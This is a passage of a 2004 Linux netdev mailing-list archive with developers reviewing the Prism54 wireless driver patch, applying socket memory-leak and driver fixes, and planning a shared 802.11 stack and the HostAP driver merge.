for the attachement, the file > > > is rather big, if you want inline+plaintext, I'll send that personal > > > to you. > > > I've been using this driver with great success on 2.6.3 and > > > 2.6.4-rc1 (SMP). This driver support various popular CardBus and PCI > > > 802.11g cards (54 Mb/s) based on the Intersil PrismGT/PrismDuette > > > chipset. > > > I would like this driver to go into 2.6.X. However, I > > > understand that it's lot's of code to review. > >=20 > > Here's a few things I found. >=20 > I'm forwarding to prism54-devel where the real developpers can > answer your questions. >=20 > > It's not exactly a full review, there's > > too much new snow to spend lots of time in front of a computer here :) >=20 > Grrr... This year, no snow for me. >=20 > > diff -Naur -X /home/mcgrof/lib/dontdiff linux-2.6.3/drivers/net/wireles= s/prism54/Makefile linux-2.6.3-prism54/drivers/net/wireless/prism54/Makefile > > --- linux-2.6.3/drivers/net/wireless/prism54/Makefile Thu Jan 1 00:00:= 00 1970 > > +++ linux-2.6.3-prism54/drivers/net/wireless/prism54/Makefile Thu Mar = 4 02:00:01 2004 > > @@ -0,0 +1,10 @@ > > +# $Id: Makefile.k26,v 1.7 2004/01/30 16:24:00 ajfa Exp $ > > + > > +prism54-objs :=3D islpci_eth.o islpci_mgt.o \ > > + isl_38xx.o isl_ioctl.o islpci_dev.o \ > > + islpci_hotplug.o isl_wds.o oid_mgt.o > >=20 > > please use foo-y for new drivers. TODO > >=20 > > + > > +obj-$(CONFIG_PRISM54) +=3D prism54.o > > + > > +EXTRA_CFLAGS =3D -I$(PWD) #-DCONFIG_PRISM54_WDS > >=20 > > This is bogus, especially with srcdir !=3D objdir. > > please fixup the includes instead > >=20 > > +#define __KERNEL_SYSCALLS__ > >=20 > > this shouldn't be used anymore. Done > >=20 > > + > > +#include > > +#include > > +#include > > +#include > > + > > +#include "isl_38xx.h" > > +#include > > + > > +#include > > +#include > >=20 > > Please include headers in the following order , > > , driver-specific. Done > >=20 > > +#if (LINUX_VERSION_CODE > KERNEL_VERSION(2,5,75)) > > +#include > > +# define _REQ_FW_DEV_T struct device * > > +#else > > +# define _REQ_FW_DEV_T char * > > +#endif > >=20 > > Eeek, why don't you simply pass the pci_dev down? TODO > >=20 > >=20 > > +typedef struct isl38xx_cb isl38xx_control_block; > >=20 > > No useless typedefs please. > >=20 > > +MODULE_PARM(init_mode, "i"); > > +MODULE_PARM_DESC(init_mode, > > + "Set card mode:\n0: Auto\n1: Ad-Hoc\n2: Managed Client (Default)\n3= : Master / Access Point\n4: Repeater (Not supported yet)\n5: Secondary (Not= supported yet)\n6: Monitor"); > >=20 > > Please use module_param Done >=20 > I would even say that this is useless because the driver > support WE, and WE scripts set the mode before the card is up. True, we can just remove the param for iw_mode. >=20 > > diff -Naur -X /home/mcgrof/lib/dontdiff linux-2.6.3/drivers/net/wireles= s/prism54/isl_wds.c linux-2.6.3-prism54/drivers/net/wireless/prism54/isl_wd= s.c > > --- linux-2.6.3/drivers/net/wireless/prism54/isl_wds.c Thu Jan 1 00:00= :00 1970 > > +++ linux-2.6.3-prism54/drivers/net/wireless/prism54/isl_wds.c Thu Mar = 4 02:00:01 2004 > >=20 > > WDS doesn't belong into a driver but in higher-level code. The driver features some firmware-specific WDS functionality, such as adding/removing WDS links. We haven't looked much into it yet though since it's not high priority. Where exactly should this code go to then? Elements noted as DONE were just committed into our CVS repository. You can always find our latest 2.6 kernel patch at: http://prism54.org/pub/linux/snapshot/kernel/v2.6/patch-2.6-prism54-cvs-lat= est.bz2 FWIW, the same driver code base supports 2.4: http://prism54.org/pub/linux/snapshot/kernel/v2.4/patch-2.4-prism54-cvs-lat= est.bz2 Luis --=20 GnuPG Key fingerprint =3D 113F B290 C6D2 0251 4D84 A34A 6ADD 4937 E20A 525E --/04w6evG8XlLl3ft Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFAT5Psat1JN+IKUl4RAjAnAJ4v7f4FQ3lIOmmhylZoK31xuM4ztQCgntSI qtnuNdaT1a3Hi9XPfZPBpyE= =O0Wo -----END PGP SIGNATURE----- --/04w6evG8XlLl3ft-- From davem@redhat.com Wed Mar 10 14:48:01 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 10 Mar 2004 14:48:04 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2AMm0KO016840 for ; Wed, 10 Mar 2004 14:48:00 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i2AMlx07029697; Wed, 10 Mar 2004 17:47:59 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i2AMlx822903; Wed, 10 Mar 2004 17:47:59 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i2AMlneF014581; Wed, 10 Mar 2004 17:47:49 -0500 Date: Wed, 10 Mar 2004 14:47:58 -0800 From: "David S. Miller" To: Krishna Kumar Cc: netdev@oss.sgi.com, krkumar@us.ibm.com Subject: Re: [PATCH AND RFC_PATCH] 1. Leak corking option in ipv4 2. ipv6 opt panic Message-Id: <20040310144758.5e0b4c7c.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3925 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 1064 Lines: 26 On Tue, 9 Mar 2004 18:05:48 -0800 (PST) Krishna Kumar wrote: > Patch1 : > -------- > I think every socket can leak memory when it allocates a cork.opt and > calls ip_append_data()/ip_push_pending_frames(). This get released in > ip_flush_pending_frames() which may not get called. Looks correct, applied. > Patch2 : > --------- > I am not sure about this possible bug which is the RFC part of the > subject. In IPv6 ip6_append_data(), if it is possible to add extra ipv6 > options during multiple calls to append_data(), then the check for > cork.opt could end up panicing the system because it is allocated > for a smaller size of options. If this is a problem, then ipv4 might have > a similar issue too. Note: Patch2 has a question embedded in it, I can > send a better patch if you think the idea is right. This is possible, but an APP trying to do this is buggy as I cannot see any sane semantics for this. I would rather we -EINVAL on such socket option changes if cork.opt is non-NULL. Could you whip up a patch for that? Thanks. From jketreno@linux.co.intel.com Wed Mar 10 15:38:08 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 10 Mar 2004 15:38:10 -0800 (PST) Received: from hermes.jf.intel.com (fmr05.intel.com [134.134.136.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2ANc8KO019079 for ; Wed, 10 Mar 2004 15:38:08 -0800 Received: from petasus.jf.intel.com (petasus.jf.intel.com [10.7.209.6]) by hermes.jf.intel.com (8.12.9-20030918-01/8.12.9/d: major-outer.mc,v 1.15 2004/01/30 18:16:28 root Exp $) with ESMTP id i2ANfLOC003708; Wed, 10 Mar 2004 23:41:21 GMT Received: from linux.co.intel.com (hdlrvguser-177.hd.intel.com [10.127.52.196]) by petasus.jf.intel.com (8.12.9-20030918-01/8.12.9/d: major-inner.mc,v 1.10 2004/03/01 19:21:36 root Exp $) with ESMTP id i2ANdFAQ029757; Wed, 10 Mar 2004 23:39:17 GMT Message-ID: <404FA6AC.7040009@linux.co.intel.com> Date: Wed, 10 Mar 2004 17:37:16 -0600 From: James Ketrenos User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6b) Gecko/20031205 Thunderbird/0.4 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Jeff Garzik CC: jt@hpl.hp.com, Christoph Hellwig , "David S. Miller" , netdev@oss.sgi.com, Linux kernel mailing list Subject: Re: [PATCH 2.6] Intersil Prism54 wireless driver References: <20040304023524.GA19453@bougret.hpl.hp.com> <20040310165548.A24693@infradead.org> <20040310172114.GA8867@bougret.hpl.hp.com> <404F5097.4040406@pobox.com> <20040310175200.GA9531@bougret.hpl.hp.com> <404F5744.1040201@pobox.com> In-Reply-To: <404F5744.1040201@pobox.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 3926 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jketreno@linux.co.intel.com Precedence: bulk X-list: netdev Content-Length: 792 Lines: 22 Jeff Garzik wrote: > Yes, it would be good to end the cycle of re-implementing 802.11 over > and over again ;-) < snip > > * start working on generic 802.11 stack in wireless-2.6 queue As we're currently walking the path of implementing the same thing for the IPW2100 driver, being able to re-use this code would be _very nice_. I'd like to get WEP into IPW2100 as soon as possible, and would like to do so in a way that would make transitioning to a common 802.11 layer seamless (or at least reasonably isolated). Any suggestions on how to best do this, or where we might be able to help, would be much appreciated. I'm very interested in these discussions, so if they move to or are being discussed on another list (besides netdev), please let me know where. Thanks, James From jt@bougret.hpl.hp.com Wed Mar 10 15:53:42 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 10 Mar 2004 15:53:46 -0800 (PST) Received: from palrel10.hp.com (palrel10.hp.com [156.153.255.245]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2ANrgKO020112 for ; Wed, 10 Mar 2004 15:53:42 -0800 Received: from tomil.hpl.hp.com (tomil.hpl.hp.com [15.0.152.100]) by palrel10.hp.com (Postfix) with ESMTP id 2B72D1C02492; Wed, 10 Mar 2004 15:53:42 -0800 (PST) Received: from bougret.hpl.hp.com (bougret.hpl.hp.com [15.4.92.227]) by tomil.hpl.hp.com (8.9.3 (PHNE_29774)/8.9.3 HPLabs Timeshare Server) with ESMTP id PAA10288; Wed, 10 Mar 2004 15:53:41 -0800 (PST) Received: from jt by bougret.hpl.hp.com with local (Exim 3.35 #1 (Debian)) id 1B1DW9-0004Oh-00; Wed, 10 Mar 2004 15:53:41 -0800 Date: Wed, 10 Mar 2004 15:53:41 -0800 To: Jeff Garzik Cc: Pavel Roskin , Netdev Subject: Re: linux-wireless mailing list Message-ID: <20040310235341.GA16621@bougret.hpl.hp.com> Reply-To: jt@hpl.hp.com References: <40469DA1.9090502@pobox.com> <20040305040352.GA16669@bougret.hpl.hp.com> <404F5461.80000@pobox.com> <20040310180602.GB9531@bougret.hpl.hp.com> <404F5DAC.4020807@pobox.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <404F5DAC.4020807@pobox.com> User-Agent: Mutt/1.3.28i Organisation: HP Labs Palo Alto Address: HP Labs, 1U-17, 1501 Page Mill road, Palo Alto, CA 94304, USA. E-mail: jt@hpl.hp.com From: Jean Tourrilhes X-archive-position: 3927 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jt@bougret.hpl.hp.com Precedence: bulk X-list: netdev Content-Length: 990 Lines: 22 On Wed, Mar 10, 2004 at 01:25:48PM -0500, Jeff Garzik wrote: > > A type-specific wireless_ops is something that I definitely want to see. > > It reduces code in the drivers, by increasing the amount of code that > can be made generic. It's much better to, for example, have all the > user data (length, etc.) validate checks, and capable(CAP_xxx) security > checks all in one place. And perhaps more importantly, a type-specific > wireless_ops makes it harder for driver writers to screw up ;-) That's > an important attribute in a driver API, I've come to learn... You could define a set of wrapper that would convert from iw_handler to a type specific call. This is already what is done in the case of iwspy support ; the driver just adds in the iw_handler table the generic spy handlers provided in wireless.c. You can check in airo.c around line 6823. But honestly, I believe that there are other more urgent things to do (such as WPA support for example). > Jeff Jean From greg@kroah.com Wed Mar 10 17:43:07 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 10 Mar 2004 17:43:14 -0800 (PST) Received: from perch.kroah.org (mail.kroah.org [65.200.24.183]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2B1h6KO026367 for ; Wed, 10 Mar 2004 17:43:07 -0800 Received: from DYN319241.beaverton.ibm.com (bi01p1.co.us.ibm.com [32.97.110.142]) (authenticated) by perch.kroah.org (8.11.6/8.11.6) with ESMTP id i2B1h3X31219; Wed, 10 Mar 2004 17:43:03 -0800 Received: from greg by echidna.kroah.org with local (masqmail 0.2.19) id 1B1F4P-3R0-00; Wed, 10 Mar 2004 17:33:09 -0800 Date: Wed, 10 Mar 2004 17:33:09 -0800 From: Greg KH To: Leann Ogasawara Cc: netdev@oss.sgi.com, Hanna Linder Subject: Re: [PATCH 2.6.4-rc2] sysfs simple class support for netlink Message-ID: <20040311013309.GG13045@kroah.com> References: <1078441356.11562.18.camel@ibm-d.pdx.osdl.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1078441356.11562.18.camel@ibm-d.pdx.osdl.net> User-Agent: Mutt/1.5.6i X-archive-position: 3928 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: greg@kroah.com Precedence: bulk X-list: netdev Content-Length: 221 Lines: 9 On Thu, Mar 04, 2004 at 03:02:36PM -0800, Leann Ogasawara wrote: > Hi All, > > Patch adds sysfs simple class support for netlink character device > (Major 36). Feedback appreciated. Thanks, Applied, thanks. greg k-h From jgarzik@pobox.com Wed Mar 10 17:50:12 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 10 Mar 2004 17:50:15 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2B1oBKO027584 for ; Wed, 10 Mar 2004 17:50:12 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:36570 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1B1FKo-0006so-Rp; Thu, 11 Mar 2004 01:50:06 +0000 Message-ID: <404FC5C3.4070001@pobox.com> Date: Wed, 10 Mar 2004 20:49:55 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Don Fry CC: tsbogend@alpha.franken.de, netdev@oss.sgi.com Subject: Re: [PATCH 2.6.4-rc3] pcnet32.c oops References: <200403102108.i2AL8Is04491@DYN318364BLD.beaverton.ibm.com> In-Reply-To: <200403102108.i2AL8Is04491@DYN318364BLD.beaverton.ibm.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3929 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 10 Lines: 3 applied From jm@jm.kir.nu Wed Mar 10 18:25:27 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 10 Mar 2004 18:25:38 -0800 (PST) Received: from jm.kir.nu (dsl017-049-110.sfo4.dsl.speakeasy.net [69.17.49.110]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2B2PQKO028768 for ; Wed, 10 Mar 2004 18:25:27 -0800 Received: from jm by jm.kir.nu with local (Exim 4.21) id 1B1FpQ-0001cA-F8; Wed, 10 Mar 2004 18:21:44 -0800 Date: Wed, 10 Mar 2004 18:21:44 -0800 From: Jouni Malinen To: Jeff Garzik Cc: jt@hpl.hp.com, Christoph Hellwig , prism54-devel@prism54.org, "David S. Miller" , netdev@oss.sgi.com, Linux kernel mailing list Subject: Re: [PATCH 2.6] Intersil Prism54 wireless driver Message-ID: <20040311022144.GA3738@jm.kir.nu> References: <20040304023524.GA19453@bougret.hpl.hp.com> <20040310165548.A24693@infradead.org> <20040310172114.GA8867@bougret.hpl.hp.com> <404F5955.6040702@pobox.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <404F5955.6040702@pobox.com> User-Agent: Mutt/1.5.6i X-archive-position: 3930 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jkmaline@cc.hut.fi Precedence: bulk X-list: netdev Content-Length: 501 Lines: 12 On Wed, Mar 10, 2004 at 01:07:17PM -0500, Jeff Garzik wrote: > Maybe the prism54 and hostAP developers could join us on netdev? It > would be nice to have everybody in one place, if we're all gonna be > collaborating on a generic 802.11 stack. I am (and have been for quite a while) on netdev, so as far as anything related to IEEE 802.11 stack or Host AP driver is concerned, I certainly do follow netdev list, too. -- Jouni Malinen PGP id EFC895FA From jm@jm.kir.nu Wed Mar 10 18:34:27 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 10 Mar 2004 18:34:30 -0800 (PST) Received: from jm.kir.nu (dsl017-049-110.sfo4.dsl.speakeasy.net [69.17.49.110]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2B2YRKO029281 for ; Wed, 10 Mar 2004 18:34:27 -0800 Received: from jm by jm.kir.nu with local (Exim 4.21) id 1B1Fz3-0001cM-Fs; Wed, 10 Mar 2004 18:31:41 -0800 Date: Wed, 10 Mar 2004 18:31:41 -0800 From: Jouni Malinen To: James Ketrenos Cc: Jeff Garzik , jt@hpl.hp.com, Christoph Hellwig , "David S. Miller" , netdev@oss.sgi.com, Linux kernel mailing list Subject: Re: [PATCH 2.6] Intersil Prism54 wireless driver Message-ID: <20040311023141.GB3738@jm.kir.nu> References: <20040304023524.GA19453@bougret.hpl.hp.com> <20040310165548.A24693@infradead.org> <20040310172114.GA8867@bougret.hpl.hp.com> <404F5097.4040406@pobox.com> <20040310175200.GA9531@bougret.hpl.hp.com> <404F5744.1040201@pobox.com> <404FA6AC.7040009@linux.co.intel.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <404FA6AC.7040009@linux.co.intel.com> User-Agent: Mutt/1.5.6i X-archive-position: 3931 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jkmaline@cc.hut.fi Precedence: bulk X-list: netdev Content-Length: 2023 Lines: 36 On Wed, Mar 10, 2004 at 05:37:16PM -0600, James Ketrenos wrote: > I'd like to get WEP into IPW2100 as soon as possible, and would like to do > so in a way that would make transitioning to a common 802.11 layer seamless > (or at least reasonably isolated). Any suggestions on how to best do this, > or where we might be able to help, would be much appreciated. Host AP driver (http://hostap.epitest.fi/) has generic (i.e., hardware independent) implementation of IEEE 802.11 encryption for WEP, TKIP, and CCMP. These functions take in skb's with IEEE 802.11 headers and encrypt/decrypt the frames. I haven't yet taken a look at your IPW2100 driver, but if you are including IEEE 802.11 headers in the skb's at some point, I would assume that the WEP implementation from Host AP driver would work fine with that driver, too. The current implementation has hardware independent module (hostap.ko) that exports the crypto functions for IEEE 802.11 skb's. Both client station and AP is supported. (To be honest, there is probably still couple of small Prism2-specific parts in hostap.ko, but not in the crypto parts and I'm in the process of getting rid of the remaining wlan hardware dependent parts). I'm in the process of replacing the algorithm parts (RC4, Michael MIC, AES-CCM) with crypto API versions so that only the IEEE 802.11 specific parts (like format of the IV/packet number, replay protection, pseudo-header for authentication) remain in the implementation and low-level crypto algorithms can share code with other uses. Once this is done, I would hope to get the code merged into the kernel tree either with full Host AP driver or separately. One option would be to first add Host AP driver in its current structure (i.e., everything in drivers/net/wireless) and then create a new directory (net/ieee80211 ?) for generic IEEE 802.11 functionality and start moving things like the IEEE 802.11 encryption into the new location. -- Jouni Malinen PGP id EFC895FA From jgarzik@pobox.com Wed Mar 10 18:43:23 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 10 Mar 2004 18:43:26 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2B2hMKO029817 for ; Wed, 10 Mar 2004 18:43:23 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:36600 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1B1GAL-0007nF-5Y; Thu, 11 Mar 2004 02:43:21 +0000 Message-ID: <404FD23C.4020205@pobox.com> Date: Wed, 10 Mar 2004 21:43:08 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Jouni Malinen CC: James Ketrenos , jt@hpl.hp.com, Christoph Hellwig , "David S. Miller" , netdev@oss.sgi.com, Linux kernel mailing list Subject: Re: [PATCH 2.6] Intersil Prism54 wireless driver References: <20040304023524.GA19453@bougret.hpl.hp.com> <20040310165548.A24693@infradead.org> <20040310172114.GA8867@bougret.hpl.hp.com> <404F5097.4040406@pobox.com> <20040310175200.GA9531@bougret.hpl.hp.com> <404F5744.1040201@pobox.com> <404FA6AC.7040009@linux.co.intel.com> <20040311023141.GB3738@jm.kir.nu> In-Reply-To: <20040311023141.GB3738@jm.kir.nu> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3932 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 716 Lines: 17 Jouni Malinen wrote: > done, I would hope to get the code merged into the kernel tree either > with full Host AP driver or separately. One option would be to first add > Host AP driver in its current structure (i.e., everything in > drivers/net/wireless) and then create a new directory (net/ieee80211 ?) > for generic IEEE 802.11 functionality and start moving things like the > IEEE 802.11 encryption into the new location. Given the discussion today, I think my preference is to merge all of HostAP into the wireless-2.6 tree I just created, then submit patches to that which create and populate net/802_11. Once the work on that is mostly done, it can get merged back into the main upstream tree. Jeff From jm@jm.kir.nu Wed Mar 10 18:51:03 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 10 Mar 2004 18:51:06 -0800 (PST) Received: from jm.kir.nu (dsl017-049-110.sfo4.dsl.speakeasy.net [69.17.49.110]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2B2p2KO030265 for ; Wed, 10 Mar 2004 18:51:03 -0800 Received: from jm by jm.kir.nu with local (Exim 4.21) id 1B1GF6-0001ca-B9; Wed, 10 Mar 2004 18:48:16 -0800 Date: Wed, 10 Mar 2004 18:48:16 -0800 From: Jouni Malinen To: Jeff Garzik Cc: jt@hpl.hp.com, Christoph Hellwig , "David S. Miller" , netdev@oss.sgi.com, Linux kernel mailing list Subject: Re: [PATCH 2.6] Intersil Prism54 wireless driver Message-ID: <20040311024816.GC3738@jm.kir.nu> References: <20040304023524.GA19453@bougret.hpl.hp.com> <20040310165548.A24693@infradead.org> <20040310172114.GA8867@bougret.hpl.hp.com> <404F5097.4040406@pobox.com> <20040310175200.GA9531@bougret.hpl.hp.com> <404F5744.1040201@pobox.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <404F5744.1040201@pobox.com> User-Agent: Mutt/1.5.6i X-archive-position: 3933 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jkmaline@cc.hut.fi Precedence: bulk X-list: netdev Content-Length: 2210 Lines: 43 On Wed, Mar 10, 2004 at 12:58:28PM -0500, Jeff Garzik wrote: > So here is my suggested plan: > * I merge prism54 upstream > * I create wireless-2.6 queue > * somebody (you, Jouni(sp?)) submits HostAP to me > * I merge HostAP Sounds good to me. I have the Kconfig/Makefile(etc.) patches ready and the current CVS snapshot of Host AP driver supports 2.6.x kernel versions, so in theory it is ready to be submitted. When this topic came up some time ago, I got one concrete comment about needed changes before the merge (I think it was from you) and that was to replace the internal encryption algorithms with crypto API ones. I'm currently in the process of doing this and submitting needed changes for crypto API. WEP and TKIP have the needed parts as crypto API components (RC4 is already in kernel tree, Michael MIC patch is pending). CCMP requires some work (new encryption mode, counter with CBC-MAC, but AES is already in crypto API). What would be the preferred order for the HostAP submission? I'm currently doing the crypto changes in the Host AP CVS repository, but I can do this also in another repository since you mentioned a new non-mainline queue for wireless-2.6. I have also some other cleanup things in my to do list (like getting rid of 2.4 and old wireless extensions compatibility code, because this would not be needed in the kernel tree anymore). Again, this is currently proceeding in my CVS repository, but it can also be done elsewhere, if that is desired. I'm going to be at the IEEE 802.11 meeting for the next week which is probably going to take more or less all of my time, but I should be able to allocate more time after that. If people are interested in reviewing the current Host AP code from the viewpoint of what would need to happen before it can be merged into the kernel tree, the latest version is available as a snapshot from my CVS tree (pserver or tarball) at http://hostap.epitest.fi/. The current version is almost 20k lines, so there is certainly quite a bit of code to review. I hope to get this to about 15k lines, though, with the crypto API and backwards compatibility cleanup. -- Jouni Malinen PGP id EFC895FA From jgarzik@pobox.com Wed Mar 10 19:02:34 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 10 Mar 2004 19:02:36 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2B32XKO031487 for ; Wed, 10 Mar 2004 19:02:33 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:36611 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1B1GSu-0008DW-7R; Thu, 11 Mar 2004 03:02:32 +0000 Message-ID: <404FD6BC.7090409@pobox.com> Date: Wed, 10 Mar 2004 22:02:20 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Jouni Malinen CC: jt@hpl.hp.com, Christoph Hellwig , "David S. Miller" , netdev@oss.sgi.com, Linux kernel mailing list Subject: Re: [PATCH 2.6] Intersil Prism54 wireless driver References: <20040304023524.GA19453@bougret.hpl.hp.com> <20040310165548.A24693@infradead.org> <20040310172114.GA8867@bougret.hpl.hp.com> <404F5097.4040406@pobox.com> <20040310175200.GA9531@bougret.hpl.hp.com> <404F5744.1040201@pobox.com> <20040311024816.GC3738@jm.kir.nu> In-Reply-To: <20040311024816.GC3738@jm.kir.nu> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 3935 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 1097 Lines: 23 Jouni Malinen wrote: > I'm going to be at the IEEE 802.11 meeting for the next week which is > probably going to take more or less all of my time, but I should be able > to allocate more time after that. If people are interested in reviewing > the current Host AP code from the viewpoint of what would need to happen > before it can be merged into the kernel tree, the latest version is > available as a snapshot from my CVS tree (pserver or tarball) at > http://hostap.epitest.fi/. The current version is almost 20k lines, so > there is certainly quite a bit of code to review. I hope to get this to > about 15k lines, though, with the crypto API and backwards > compatibility cleanup. How about submitting a patch, when the CryptoAPI and backcompat cleanups are complete? I will apply to the wireless-2.6 tree, and we can start working on the kernel's overall 802.11 support from there. I don't pretend to be an 802.11 expert, so I'll let you and Jean and other developers drive that end of things. I'm mainly interested in keeping the API simple and clean, and maintainable. Jeff From jm@jm.kir.nu Wed Mar 10 19:19:48 2004 Received: with ECARTIS (v1.0.0; list netdev); Wed, 10 Mar 2004 19:20:00 -0800 (PST) Received: from jm.kir.nu (dsl017-049-110.sfo4.dsl.speakeasy.net [69.17.49.110]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2B3JmKO032292 for ; Wed, 10 Mar 2004 19:19:48 -0800 Received: from jm by jm.kir.nu with local (Exim 4.21) id 1B1Gh3-000116-T5; Wed, 10 Mar 2004 19:17:09 -0800 Date: Wed, 10 Mar 2004 19:17:09 -0800 From: Jouni Malinen To: Jeff Garzik Cc: jt@hpl.hp.com, Christoph Hellwig , "David S. Miller" , netdev@oss.sgi.com, Linux kernel mailing list Subject: Re: [PATCH 2.6] Intersil Prism54 wireless driver Message-ID: <20040311031709.GC3782@jm.kir.nu> References: <20040304023524.GA19453@bougret.hpl.hp.com> <20040310165548.A24693@infradead.org> <20040310172114.GA8867@bougret.hpl.hp.com> <404F5097.4040406@pobox.com> <20040310175200.GA9531@bougret.hpl.hp.com> <404F5744.1040201@pobox.com> <20040311024816.GC3738@jm.kir.nu> <404FD6BC.7090409@pobox.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <404FD6BC.7090409@pobox.com> User-Agent: Mutt/1.5.6i X-archive-position: 3936 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jkmaline@cc.hut.fi Precedence: bulk X-list: netdev Content-Length: 589 Lines: 13 On Wed, Mar 10, 2004 at 10:02:20PM -0500, Jeff Garzik wrote: > How about submitting a patch, when the CryptoAPI and backcompat cleanups > are complete? I will apply to the wireless-2.6 tree, and we can start > working on the kernel's overall 802.11 support from there. OK, I'll do the cleanups in the 